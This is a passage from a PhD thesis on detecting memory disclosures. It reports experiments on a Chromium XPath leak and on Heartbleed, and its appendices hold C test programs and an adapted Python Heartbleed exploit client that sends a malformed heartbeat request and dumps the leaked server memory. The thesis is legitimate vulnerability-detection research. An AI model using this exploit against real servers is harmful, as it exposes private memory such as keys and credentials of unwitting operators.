6.5.2.3 Trust Boundary to be tested
XPath is a language used in Web-Browsers, as a standardised way to transform XML documents. It has a
clearly defined syntax and has its own core function library of more than 100 functions. The trust boundary
being tested is the interface between the XPath library, as implemented in the browser and the scripting
environment that is presented to a user. To clarify, this experiment is to monitor if any calls made to any
function in the XPath library, from the browser, return any information regarding its position in memory.
6.5.2.4 Framework implementation
A new framework was created to run these experiments which could be applied to almost any application.
The framework consists of a set of Python and bash scripts, some C code and a MySQL database. Changes
to the framework are made by a combination of changing the scripts and calling input flags. In this section








Fig. 6.2. Diagram showing the different components of the framework used to execute Experiment 8 and the interactions between
them.
There are several requirements including a method of starting, stopping and choosing tests, a method of
communicating between the tests and the framework and methods of capturing the data that passes over the
tested interfaces.
6.5.2.5 Experiment Control
A MySQL database was used to store all of the tests, there current state and corresponding inputs. This was
used to co-ordinate the selection of the next test and record the results of the previous test. It allowed for
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the testing process to be distributed across machines, to be stopped and started again and for tests to be run
individually. Each test was run and monitored to see if it finished correctly; if it did then the process was
killed and the results checked, if it did not then the process was killed and the test marked as not finished.
6.5.2.6 Communication
The standard Unix Pipe STDERR was used as the means of communication between the application
and the framework. This was done for several reasons: it is available to every application, its output
can be manipulated easily and for the very specific reason that in Chrome many process are barred from
communicating via the file system, so they can not write to and from a file. They can, however, write to the
console, with the exception of when dealing with a local URL when STDOUT can not be used, so STDERR
was chosen. That it is also available in release mode for all of the applications tested is also an advantage.
To ensure that only information from the program changes are captured, rather than everything which may
have gone to STDERR, all output was prefixed with a predetermined value; this was completely arbitrary
and the text ”MFUZZ:” was chosen.
6.5.2.7 Application Instrumentation
There were two different changes that had to be made to the application to enable these tests. The first was
to signal to the framework when the application was finished loading. This was done by intercepting the
DocumentLoader class and altering the function that sets the loaded bar to 100%, when this occurred the
program was configured to output the text “MFUZZ::Natural kill” to STDERR. If this text did not appear
after a specified period, the framework could infer that the application had failed to load correctly.
The final intervention was to output all of the data that was passed over the trust boundary. It was
important that the whole interface was tested, not just any section used by the generate-id function. The
boundary chosen was the XMLPathCastToString function in the file “xpath.c”. This was chosen as every
output from XPATH to the browser appears to go through this method, however very little else did.
6.5.3 Execution of experiments
Chromium 21.0.1172.0 was used as the particular version under test and was built from source using the
Gold linker on Ubuntu Linux. There was no issues identified during the execution stage.
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Test Number No Inputs Disclosures Expected Disclosures Identified
1 1000 1 1
2 1000 1 1
3 1000 1 1
4 1000 1 1
5 1000 1 1
6 1000 1 1
7 1000 1 1
8 1000 1 1
9 1000 1 1
10 1000 1 1
Table 6.9. Presentation of results for experiment 8.
6.5.4 Results
Both tests were performed 10 times and the results are shown in table 6.9.
The triggering input was identified perfectly for each test iteration. This clearly gives confidence that
the technique is identifying a memory disclosure. This was also done with no false positives.
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6.6 Experiment 9
In the last experiment it was demonstrated that the DEBT methodology can be used to identify previously
known samples, but it has yet to identify unknown samples. Currently there is a potential weakness in the
experiments in that the only samples that have been identified are those already known by the experiment
designers. Although this should make no difference to the experiments it could be argued that, as the
sample was pre-seen, the experiment would always pass. For DEBT to be demonstrated as practical and
so to demonstrate principle 3, it should also be able to identify new samples, which is the purpose behind
this experiment. This is done by identifying a large set of random web-sites (4359) which use XPath
and then applying the framework to these sites using the instrumented program from experiment 8. This
identified 13 external sites which caused a memory disclosure. The program was then altered to identify
which sites used the function with the known vulnerability in. All of the websites were then ran though
the instrumented browser again (only a single time, the framework was not applied) to see which used the
generate-id function. The results from this matched perfectly with the predications by the framework, with
the exception of one false positive.
This aids in demonstrating that this methodology is a practical one for real-world complex software,
which is principle 3.
The requirements and objectives for this experiment are set-out and formalised in 6.6.1, the experiment
design is detailed in 6.6.2, the execution details are given in 6.6.3 and the results are shown in 6.6.4.
6.6.1 Experiment objectives
This experiment is designed to ensure that this methodology works on previously unidentified samples. The
purpose of this is to aid in demonstrating principle 3.
The formalised hypotheses for this are given in table 6.10.
Hypothesis type Description
Null hypothesis This methodology can not be used to identify inputs that trigger memory disclosures
without having seen the input beforehand, in complex, real-world software.
Alt:Exp4:Tab Alternative Hypothesis This methodology can be used to identify inputs that trigger memory disclosures
without having seen the input beforehand, in complex, real-world software.
Table 6.10. Hypotheses for Experiment 9
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This experiment is designed to test if the null hypothesis is true.
6.6.2 Experiment design
For this experiment a large number of sample inputs were identified and run through the framework. This
identified a set of samples which it considered to be disclosures and a set which it considered to be safe.
The codebase was then modified to show which inputs were triggering the memory disclosure. When the
inputs were run through the newly modified program, there should be a match between those inputs that the
framework identified as causing a memory disclosure and those inputs that the codebase records as causing
a memory disclosure. If these correlate, with a practical false positive rate (this can be defined as 0.1% of
the whole sample for consistency with the previous experiment), then the framework has disproved the null
hypothesis by identifying unknown memory disclosures.
6.6.2.1 Program under test
The same program was used as for experiment 8, which was a version of the browser Chromium known to
be vulnerable to this specific vulnerability, CVE-2012-0769 (MITRE, 2012b).
6.6.2.2 DataSet selection
The Google search API was used to identify random web-based XML documents. This was used in a similar
manner to experiment 8 to identify 4359 unique websites which may or may not cause the “generate-id”
disclosure, but which all use the XPath interface under test.
6.6.2.3 Trust boundary to be tested
This was the same as for experiment 8, which is the interface between the XPath library and the scripting
environment.
6.6.2.4 Running and controlling the experiment.
The framework used in experiment 8 was used, but was optimised slightly for efficiency reasons. Initially
the experiment was run in a very quick manner, with a short time-out and without resetting system caches
or other data. It was only if this failed, that the full experiment was conducted. This considerably speeded
up the process and also catered for environmental factors such as the machine state or network issues.
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6.6.3 Execution of experiments
This experiment was executed in the same manner as experiment 8 for consistency. Chromium 21.0.1172.0
was used as the particular version under test and was built from source using the Gold linker on Ubuntu
Linux. There was no issues identified during the execution stage.
6.6.4 Results
The first test was performed and 13 unique websites were identified as giving memory disclosures out of
the 4359 that were input. After the code modification was made 31 websites were marked as running the
vulnerable function. When these were analysed further it appears only 12 passed the results of the function
to the web-site. These 12 matched 12 of the 13 websites predicted. This gives 4358 out of 4359 as correct
predictions.
Examining the site that failed, it appeared to be because some of the XML-XSLT transformation
continues after the page has finished loading. As the page load was set as the cut-off point, with this
particular site, not all of the transformation had finished. This is not an issue with the framework, but with
this specific implementation. This could be fixed by using a different cut-of point or cut-off time. As this
gives 4358/4359 accurate predictions with 12 newly identified disclosures, this convincingly disproves our
null hypothesis, so it was decided not to experiment with this further.
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6.7 Experiment 10
This experiment is designed to test if the DEBT methodology can spot more generic disclosures under the
correct circumstances. The vulnerability CVE-2014-0160 (MITRE, 2014) is also known as the heartbleed
bug and is an extremely well known and publicised vulnerability that can be used to disclose memory on
a server running SSL. The vulnerability is due to a lack of validation on a particular field in the request
message. The protocol involves the client application telling the server the size of the message it expects to
send, it then allows for the client to request to see x of those bytes. The vulnerability occurs as it does not
verify that the data was actually sent, so rather than returning the sent data, it actually returns any data that
was in the buffer. As this is indeterministic in practice, it is possible that the methodology proposed here
could be used to identify the vulnerability given a method of triggering the input. The field of fuzz testing
is one where input fields, such as the size field, are given random inputs which could be of any range and
then monitors the result. This experiment is designed to identify if this methodology could have been used
to identify the heartbleed issue, given a reasonable fuzz test as input.
This would demonstrate principle 5, that the methodology can be used to spot other disclosures in the
correct circumstances. In addition, it would aid in demonstrating principle 3, that this can work in real-
world complex software.
6.7.1 Experiment objectives
This experiment is required to test if the methodology can spot more generic memory disclosures, which is
principle 5. As it does this using complex, real world software, on a high impact vulnerability means it also
aids in demonstrating principle 3.
The formalised hypotheses for this are given in table 6.11.
Hypothesis type Description
Null hypothesis This methodology can not identify more general disclosures under any circumstances.
Alt:Exp:hb:Tab Alternative Hypothesis This methodology can be used to identify more general disclosures under the correct
circumstances.
Table 6.11. Hypotheses for Experiment 10
This experiment is designed to test if the null hypothesis is true.
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6.7.2 Experiment design
A vulnerable version of the server was installed and a client program was created which activated the
vulnerability. The client program took a random input X and then returned X characters from the server.
This was designed to simulate a fuzz test on the size field. As a good experiment should be reproducible,
rather than using random numbers as the input, a dataset was created to simulate this.
There is a slight weakness in this experiment design, as the inability to add a control method means
that it is not possible to be completely sure that it is a disclosure that is being identified rather than another
issue, either with the server or with the client program. This is partly mitigated as it is possible to examine
the outputs from the server, to check they are different, which would suggest a disclosure from the server.
In addition, if the tests are not all either positive or negative, this may also help to suggest that the test is
working correctly. Critically, in addition to the mitigations mentioned, the experiment need not be a success
at all; if no disclosures are identified then the experiment will clearly have failed, if this is not the case, then
at least a degree of confidence is added to the thesis.
6.7.3 Program under test
A vulnerable version of Apache was used for the server; on the client side a program was written which
takes the size field as an input.This is shown in Appendices D and is a slightly adapted version of a program
available on the internet †. It simply sends a small token message to the server and then requests the required
number of characters back; it then outputs these characters to the console.
6.7.4 DataSet selection
There are 256 different entries in the dataset; these are sequential inputs for the series 00FF,01FF,02FF,03FF
. . . FFFF. This is essentially a sequence of every 256 characters, The order of the dataset was mixed using
the Unix Shuf utility to ensure that the inputs were not predictable.
6.7.5 Trust boundary to be tested
The trust boundary is the output of the SSL server; this is a very legitimate boundary as it should never
disclose the contents of memory used in the implementation of the software, it is also the boundary that left
this software widely vulnerable over the internet.
†Credit is given in the source code
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6.7.6 Framework implementation
The same framework was used as for experiment 1 and others. This was a combination of bash scripts
which output the result of running the program to a file for each run and then compares the differences to
identify if a vulnerability occurred.
6.7.7 Results
The results of this experiment were very consistent; where the input requested was above 00FF in size then
a disclosure was identified; otherwise no disclosure was identified. In reality, this meant that the framework
missed some of the disclosures. This was because the server simply returned all zeros, an idiosyncrasy for
this specific vulnerability. That the framework successfully spotted the issue on the majority of occasions,
disproves the null hypothesis in as far as the experiment design allowed it to. Comparing the captured data
over the interfaces it is clear that there is large degree of difference (nearly 1000 characters) between the two
captures, demonstrating that it not purely ASLR or another mitigation technique that is being identified.
sum:exp
6.8 Conclusions
Of the 5 different principles set out at the start of this chapter, all have been demonstrated to varying
degrees. Principle 1 was that the DEBT methodology could work at all. This was initially demonstrated
in experiment 1, but then was re-iterated in all of the other experiments. As many of these experiments
were strong ones, with a control mechanism to turn of the disclosure this is well demonstrated. That
the other experiments were all successful only emphasises this. Principle 2 was that this was a cross
platform solution. This was demonstrated through the use of 4 different operating systems, particularly
in experiments 1 – 4 and experiments 5 – 7. Principle 3 is that the DEBT methodology can be a practical
one for complex real-world software. Experiments 8 –10 are all experiments which have proved practical
to do and are on two different complex, real-world pieces of software, identifying legitimate vulnerabilities.
As Chrome is such an influential and complex piece of software and that HeartBleed has been such a high
profile vulnerability are indicators that this technique can work for relevant and legitimate targets. Principle
4 is that DEBT can identify stack cookie disclosures, this is demonstrated for all of the major compilers
across the 3 major platforms in experiments 5 – 7. The final principle is a rather more vague one, that the
methodology can be used to identify more general disclosures. This is difficult to demonstrate completely,
however experiment 10 is a strong indicator that this principle is true.
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It would be possible to design many, many more experiments to demonstrate the DEBT methodology,
but without strong design objectives this would be poor science. All of the principles designed have been
tested and demonstrated as well as is reasonably possible. That all of the experiments have been successful,
demonstrates that the methodology is both robust and adaptable and together these demonstrate that DEBT
can be used to reliably detect address disclosures and that it can detect other disclosure types. These were
the two contributions intended for these experiments. That frameworks were described to do this aids in
another contribution, providing a framework for the community to perform these tests.








This is the final chapter in this thesis and is intended as an analysis of the experiments and a review of
the whole thesis. An analysis of the strengths, weaknesses and results of the overall experiments is given
in section 7.2; there are some personal reflections on the experience of using DEBT in section 7.3. The
contributions made by this thesis are discussed in 7.4 and the future work is in 7.5; the thesis is finally
concluded with a short conclusions section in 7.6.
7.2 Analysis
The experiments in the last chapter were clearly laid out, each had a specific design objective and method of
delivery and clear success criteria. Together they demonstrated all of the principles set out at the start of the
chapter, but there is a weakness in the overall design. Although the principles were clearly demonstrated
in the experiments, this does not necessarily mean that the principles could be combined together. It was
demonstrated that the technique works across platforms, and that it can work on real-world problems, but
this does not automatically mean it can work across platforms on real-world scenarios. Experiments could
be designed to demonstrate this, but they would be rather weak experiments in themselves, as none of
the operating systems, except Linux, have a strong method of turning ASLR off, so they would merely
be weak copies of existing experiments. As none of the techniques used to demonstrate the practicality
of the technique are specific to Linux and both are cross platform applications, it should be a reasonable
assumption that this technique is practical in a cross platform way.
A similar issue arises with the stack-cookies experiments. It has been demonstrated that the technique
can cope with real-world software and can identify stack-cookie disclosures. This does not necessarily
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mean that it can identify stack-cookie disclosures in real-world software. Unfortunately, it has not been
practical to identify any published vulnerabilities that are recognised as cookie disclosures. This is unlikely
to be because they do not exist, but because they are currently no techniques available to directly identify
cookie information disclosures. This is not helped as any vulnerability report would be unlikely to state that
it was a disclosure of cookie information; as most published vulnerabilities give very limited details on the
vulnerability, or the ability to re-create them, it is mostly extremely difficult to identify what information
is released. Although this is a slight weakness in the design of the series of experiments, in reality it is not
significant as it should be clear that there is nothing mutually exclusive about these principles and that there
should be extremely high confidence in them working together.
A final potential weakness in this series is that none of these experiments required any interventions to
remove any probabilistic measures. This was not intentional, but merely represents the practical aspect of
implementing this technique, that there is typically no requirement to remove any elements.
Although there are potential weaknesses in the collection of experiments together, these are potential
weaknesses by omission, rather than weaknesses in the existing experiments. As these are not felt to be
strong enough to justify experiments on their own behalf, these should not distract from the strengths of the
experiments as they stand.
It could be argued that unless the experiments can demonstrate that DEBT can identify fresh
vulnerabilities then it can not be considered a success. Identifying new vulnerabilities is a two stage
problem, one of triggering an input and one of detecting if that input has created a vulnerability. This
thesis is only concerned with the second of these problems, detecting if the vulnerability has occurred and
its success should only be judged against that criteria.
7.3 Reflections
There has been a long learning curve in implementing these experiments and some of this experience may
be of use to the reader as an aid for judging both the methodology and the thesis. By definition, this is more
personal experience and reflection than fact and should be read as such.
When the first experiments were created for this framework there was an assumption that the difficulty
would be in eliminating the randomness in the program, but this turned out to be the opposite to what
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happened. A lot of time was spent creating very complex frameworks to capture elements that could
affect a program. Particularly, a framework was created and tested which intercepted certain standard
library calls and recorded the return values, it then had the ability to replay these values on successive
calls; similarly an unnecessary amount of time was spent examining the Firefox codebase to identify the
JavaScript code for creating random numbers and the date and time functionality. In reality it turned out
all of this was unnecessary, frameworks are often available which already perform similar functionality
for unit and system testing purposes, an example that was used lots in experiments that were not included
here was the framework web-page-relay GitHub (2014). This is designed to eliminate all randomness from
web-page calls and early experiments showed that this worked over tens of thousands of web-pages with
very few false positives.
This mistake was partly due to another assumption which proved to be incorrect, that the big bang
approach was the best method of eliminating program unpredictability. In reality this was not the case,
as there ended up with very little actual unpredictability in programs. Where there were false positives it
proved much easier to examine these as they arose and eliminate that issue, rather than attempt to solve all
of the potential problems up-front.
Another major lesson learnt, was how hard it could be to identify the relevant trust boundaries in some
software. There was an assumption this would be relatively easy, but an inordinate amount of time was
spent working with the Chromium and Firefox source code demonstrated this was not true. Naturally,
some boundaries will be easier to identify than others and when working on a well known codebase this
may not be true, but it may turn out that spotting the relevant functions may be as much craft as science.
7.4 Contributions
The contributions given in this thesis are listed below.
• Introduce and review the importance of Memory Disclosures.
• Introduce the first methodology to reliably detect address disclosures.
• Demonstrate the methodology can be used to detect other disclosure types.
• Provide frameworks for the community to perform these tests.
The importance of memory disclosures is gradually introduced in the first 3 chapters of this thesis, with
Chapter 3 dedicated purely to this. It is a methodical introduction to different types of disclosures and their
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relevance. It covers causes of disclosures and alternatives to them; finally it discusses any mitigation in the
literature which may affect their importance in the future.
The DEBT methodology to detect address disclosures is introduced in chapter 5, it is explained in detail
and the practicalities, around the methodology are discussed, as is its reliability.
The methodology is demonstrated in the experiments chapter; there are 6 experiments designed to show
that the technique can identify address disclosures. This is done across multiple operating systems and
using multiple compilers, it also uses a combination of multiple vulnerabilities from different commercial
software. There are then 4 experiments which are designed to demonstrate that the methodology can identify
stack canary disclosures and the presence of the heart-bleed vulnerability.
There were many frameworks used in the development of this thesis, some of these were explained
in the experiments chapter and some were mentioned in the reflections section of this chapter. All of the
frameworks used in the experiments are clearly defined and any scripts used are included in the appendices.
It is also the intention that these frameworks are released to the community at the end of this PhD, including
those which did not become a part of the final experiments.
DEBT is a novel methodology, to solve a problem in a way in which no other literature claims to do.
The arrival of a paper very late in the production of this thesis attempting to solve this problem in a very
different way, only demonstrates that there is other interest in this field from the academic community.
That DEBT can identify completely different disclosures and does so in a very different manner ensures
the novelty of the methodology and it is still the only one which can claim to reliably detect all address
disclosures. This thesis is a novel contribution to science and this section should have demonstrated that the
contributions have been clearly laid out and clearly met.
7.5 Future Work
This thesis is in a very new sub-niche of software testing and there is much future work that could arise
from it. The first and most obvious field is marrying this detection technique with different data generation
techniques, although this would be a time-consuming and very specific process, there may be much low-
hanging fruit that could be identified. The vulnerabilities CVE-2012-07-0769 MITRE (2012b) and CVE-
2010-3886 (MITRE, 2012a) only require a single method to be called and the return value checking, testing
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the major browser based scripting and transformation languages for examples such as these may yield
relatively easy results.
This technique is designed to be generic and versatile and could be applied to any software where the
trust boundary can be defined and can be intercepted. There are large areas where this trust boundary is very
naturally defined and are in very common usage. Microsoft’s .Net framework, the Java virtual machine
and the browser interface are all areas where there is a very natural trust boundary and ones which can
be security critical; testing these interfaces could be interesting future work, particular as recently found
vulnerabilities such as would appear to be relatively easy to trigger.
The initial interest in this field arose out of the theory that there could be other measures of errors in the
field of Fuzz testing. Currently most tests try to detect if a process has died, has used too much processing
power, or has failed to finish; it is possible that other states could be detected and one could be a memory
disclosure over a trust boundary, integrating this technique into fuzz testing framework could be interesting,
but is still an extension of combining the detection and triggering problems.
In chapter 4 other possible methods of solving this problem are discussed and it is possible that some of
these could be explored; particularly it could be useful if a tool such as Valgrind (Nethercote and Seward,
2007) was used to solve this problem. Although this approach would have definite limitations compared to
the approach introduced here, it could have the advantage that it is already a familiar tool and is currently
already integrated into the workflow of some software producers. This alone could increase its uptake and
so could make this a relevant field of research.
7.6 Conclusions
It is clear that disclosures, particularly of secrecy based mitigation techniques, are an important vulnerability
which should be taken seriously. This thesis is an early attempt to do this and the contributions listed should
be a valuable beginning. This thesis has introduced a new methodology to identify a type of vulnerability
which no other methodology can reliably identify and the results from these experiments are optimistic.
That there is plenty of possible future work shows that this field is not finished and hopefully some of these
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Simple Program for creating a Disclosure
This is the source code for a program to create a disclosure, written in the C programming language.
Program A.1. Source code for the program to be tested in Experiments 1, 2, 3 and 4. If the input is even a
normal output is produced, if it is odd, a disclosure is output.
#include <stdio.h>
int main(int argc, char* argv[])
{
if (argc < 2)
{
printf("Need a number as input\n");
return -1;
}
int i = 1234567;
long a;
printf("New Input %d .. ", atoi(argv[1]));
if (atoi(argv[1]) % 2 == 0)
{
printf("Even Number ..");










This program returns an address like integer if an even number is input and returns the address of that
integer (a memory disclosure) if the input is odd.
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Appendix B
Script for Testing a single input
This script was created to test the simple program in Appendices A for a single input value.
Program B.1. script which ran each individual experiment. The input number should be passed as the first
parameter.
#!/bin/bash




# Run the program once, capturing the output
./simpleProg $1 >> OUTPUT_1
# Now run again with exactly the same details
./simpleProg $1 >> OUTPUT_2
#Compare the two captured outputs
diff OUTPUT_1 OUTPUT_2 >> DIFF
# This checks if the file DIFF is empty
if [[ -s DIFF ]] ; then
echo "$1 is a disclosure."
else
echo "$1 is not a disclosure."
fi ;
This calls the program, with the relevant input, twice and captures the output both times. It then
compares the outputs to see if there is any difference and uses this to decide if there is a disclosure.
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Appendix C
Programs used for creating stack cookie disclo-
sures
This appendices contains a series of program used to print the contents of the stack on different
operating systems and using different compilers. Each is designed to be as similar as possible, but slight
implementation details were unavoidable. Each program works in the same way, for every entry on the stack
an output is printed; if the input is odd the entry is the corresponding entry on the stack, otherwise it is a zero.
C.1 Simple Cookie Program for OS X using the Clang compiler
This is the program used to print the stack on Apple OSX using the Clang compiler.
Program C.1. Source code for the program to be tested in experiment 5.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
short unsigned int a[1];
short unsigned int b[1];
register char* ebp asm("ebp");
register char* esp asm("esp");
printf("New Input %d \n", atoi(argv[1]));
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printf("%p = %x\n", p, *p);
} else
{






C.2 Simple Cookie Program for Linux using GCC
This is the program used to print the stack on Linux using GCC.
Program C.2. Source code for the program to be tested in experiment 6.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
short unsigned int a[1];
short unsigned int b[1];
register char* ebp asm("ebp");
register char* esp asm("esp");
printf("New Input %d \n", atoi(argv[1]));






printf("%p = %x\n", p, *p);
} else
{






C.3 Simple Cookie Program for Windows using the Visual Studio
compiler
This is the program used to print the stack on Windows 7 using the Visual studio compiler.




int main(int argc, char* argv[])
{





_asm mov ebpVar, ebp;
_asm mov espVar, esp;




printf("%p = %x\n", p, *p);
else







This is the source code for a client program to test for the heartbleed bug by fuzzing an SSL server. It is
based upon the program in the credits in the source code, but is modified to take the response field size as
an input. It merely outputs the results from the server to the output.
Program D.1. This program sends a message to an SSL server and the sends corresponding request, but for
the length entered as an input to the program
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (
jspenguin@jspenguin.org)






from optparse import OptionParser
# ClientHello
helloPacket = (
’16 03 02 00 31’ # Content type = 16 (handshake message); Version = 03 02; Packet
length = 00 31
’01 00 00 2d’ # Message type = 01 (client hello); Length = 00 00 2d
’03 02’ # Client version = 03 02 (TLS 1.1)
# Random (uint32 time followed by 28 random bytes):
’50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49
67 c2 fd 96’
125
’00’ # Session id = 00
’00 04 ’ # Cipher suite length
’00 33 c0 11’ # 4 cipher suites
’01’ # Compression methods length
’00’ # Compression method 0: no compression = 0
’00 00’ # Extensions length = 0
).replace(’ ’, ’’).decode(’hex’)
# This is the packet that triggers the memory over-read.
# The heartbeat protocol works by returning to the client the same data that was sent
;
# that is, if we send "abcd" the server will return "abcd".
# The flaw is triggered when we tell the server that we are sending a message that is
X bytes long
# (64 kB in this case), but we send a shorter message; OpenSSL won’t check if we
really sent the X bytes of data.
# The server will store our message, then read the X bytes of data from its memory
# (it reads the memory region where our message is supposedly stored) and send that
read message back.
# Because we didn’t send any message at all
# (we just told that we sent FF FF bytes, but no message was sent after that)
# when OpenSSL receives our message, it wont overwrite any of OpenSSL’s memory.
# Because of that, the received message will contain X bytes of actual OpenSSL memory
.
#heartbleedPacket = (
#’18 03 02 00 03’ # Content type = 18 (heartbeat message); Version = 03 02; Packet
length = 00 03
#’01 FF FF’ # Heartbeat message type = 01 (request); Payload length = FF FF





’18 03 02 00 03’ # Content type = 18 (heartbeat message); Version = 03 02; Packet
length = 00 03
’01’ # Heartbeat message type = 01 (request); Payload length = FF FF
)
options = OptionParser(usage=’%prog server [options]’, description=’Test for SSL
heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ’--port’, type=’int’, default=443, help=’TCP port to test (
default: 443)’)
options.add_option(’-s’, ’--size’, type=’string’, default=’FFFF’, help=’size of field
to test’)
def dump(s):
packetData = ’’.join((c if 32 <= ord(c) <= 126 else ’.’ )for c in s)
print ’%s’ % (packetData)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ’’
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
# Wait until the socket is ready to be read
r, w, e = select.select([s], [], [], 5)








# When you request the 64 kB of data, the server won’t tell you that it will send you
4 packets.
127
# But you expect that because TLS packets are sliced if they are bigger than 16 kB.
# Sometimes, (for some misterious reason) the server wont send you the 4 packets;
# in that case, this function will return the data that DO has arrived.





# The server may send less fragments. Because of that, this will return partial
data.
for fragmentIndex in range(0, fragments):
tlsHeader = recvall(s, 5) # Receive 5 byte header (Content type, version, and
length)
if tlsHeader is None:
print ’Unexpected EOF receiving record header - server closed connection’
return contentType, version, payload # Return what we currently have
contentType, version, length = struct.unpack(’>BHH’, tlsHeader) # Unpack the
header
payload_tmp = recvall(s, length, 5) # Receive the data that the server told
us it’d send
if payload_tmp is None:
print ’Unexpected EOF receiving record payload - server closed connection
’
return contentType, version, payload # Return what we currently have
print ’Received message: type = %d, ver = %04x, length = %d’ % (contentType,
version, len(payload_tmp))
payload = payload + payload_tmp





# We asked for 64 kB, so we should get 4 packets
contentType, version, payload = receiveTLSMessage(s, 4)
if contentType is None:
print ’No heartbeat response received, server likely not vulnerable’
return False
if contentType == 24:
print ’Received heartbeat response:’
dump(payload)
if len(payload) > 3:
print ’WARNING: server returned more data than it should - server is
vulnerable!’
else:
print ’Server processed malformed heartbeat, but did not return any extra
data.’
return True
if contentType == 21:
print ’Received alert:’
dump(payload)




opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
heartbleedPacket = (heartbleedPacket+opts.size).replace(’ ’, ’’).decode(’hex’)
print(heartbleedPacket)








print ’Waiting for Server Hello...’
sys.stdout.flush()
# Receive packets until we get a hello done packet
while True:
contentType, version, payload = receiveTLSMessage(s)
if contentType == None:
print ’Server closed connection without sending Server Hello.’
return
# Look for server hello done message.
if contentType == 22 and ord(payload[0]) == 0x0E:
break
print ’Sending heartbeat request...’
sys.stdout.flush()
# Jared Stafford’s version sends heartbleed packet here too. It may be a bug.
exploit(s)




Methodology for reviewing literature on Mem-
ory Disclosures
The methodology used to identify the resources used is explained in this section.
The terminology “memory disclosure” is a common one, and the term which most accurately defines
the specific vulnerability discussed in this thesis. As this is not a well defined field in the literature, there is
no term that can be searched for to identify all of the appropriate literature. This makes it difficult to be sure
of identifying all of the relevant papers. For this reason a multi-stage methodology was used to identify all
of the literature required.
The original core part of the search was achieved by searching for the terms in table E.1.
Source Date Term No of Returns
IEEExplore 09 June 2014 memory disclosure 24
ScienceDirect 09 June 2014 “memory disclosure” and
limit category to “Com-
puters & Security”
24
ACM 09 June 2014 memory AND disclosure
and refine search to a
relevant set of publication
titles
477
ISI Web Science 09 June 2014 memory disclosure and
refine research are “Com-
puter Science”
23
Scopus 09 June 2014 memory disclosure and
refine research are “Com-
puter Science”
42
Table E.1. Sources of primary academic papers, used a basis to start the literature review on Memory Disclosures.
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The first review stage was initially based simply on the title of the paper, this was used to eliminate
all of the papers which were obviously based in a different field; this was necessary due to the number of
Psychology papers returned. Each paper was then reviewed in more detail, for some this merely consisted
of reading the title, the abstract and quickly scanning the rest of the paper, where it was clearly not relevant.
Where a paper was possibly relevant it was read and the all of the citations were also checked. Where any of
the citations could have been relevant they were added to the list of references and the process was repeated
for it. In addition to checking the citations list, Google scholar was used to check the cited by list for each
relevant paper and any relevant ones found were added. This process was repeated until every paper had
been reviewed.
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